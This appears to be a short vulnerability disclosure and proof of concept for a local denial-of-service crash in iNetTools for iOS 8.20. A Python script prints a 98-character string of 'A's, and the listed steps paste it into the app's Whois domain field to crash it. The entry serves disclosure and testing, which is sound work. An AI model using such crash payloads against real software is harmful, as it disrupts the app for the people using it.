iNetTools for iOS version 8.20 suffers from a denial of service vulnerability.
9bcf97c9fe40f66344be31ec0110c02f# Exploit Title: iNetTools for iOS 8.20 - 'Whois' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2019-11-25
# Vendor Homepage: https://apps.apple.com/mx/app/inettools-ping-dns-port-scan/id561659975
# Software Link: App Store for iOS devices
# Tested Version: 8.20
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 6s iOS 13.2
# Summary: iNetTools is a suite of network diagnose tools on iPhone and iPad. It provides essential tools such as
# Ping, DNS Lookup, Trace Route, Port Scan, Whois, Server Monitor, and Lan Scan.
# Steps to Produce the Crash:
# 1.- Run python code: iNetTools.py
# 2.- Copy content to clipboard
# 3.- Open "iNetTools for iOS"
# 4.- Go to "Whois"
# 5.- Paste ClipBoard on "Domain Name"
# 6.- Start
# 7.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 98
print (buffer)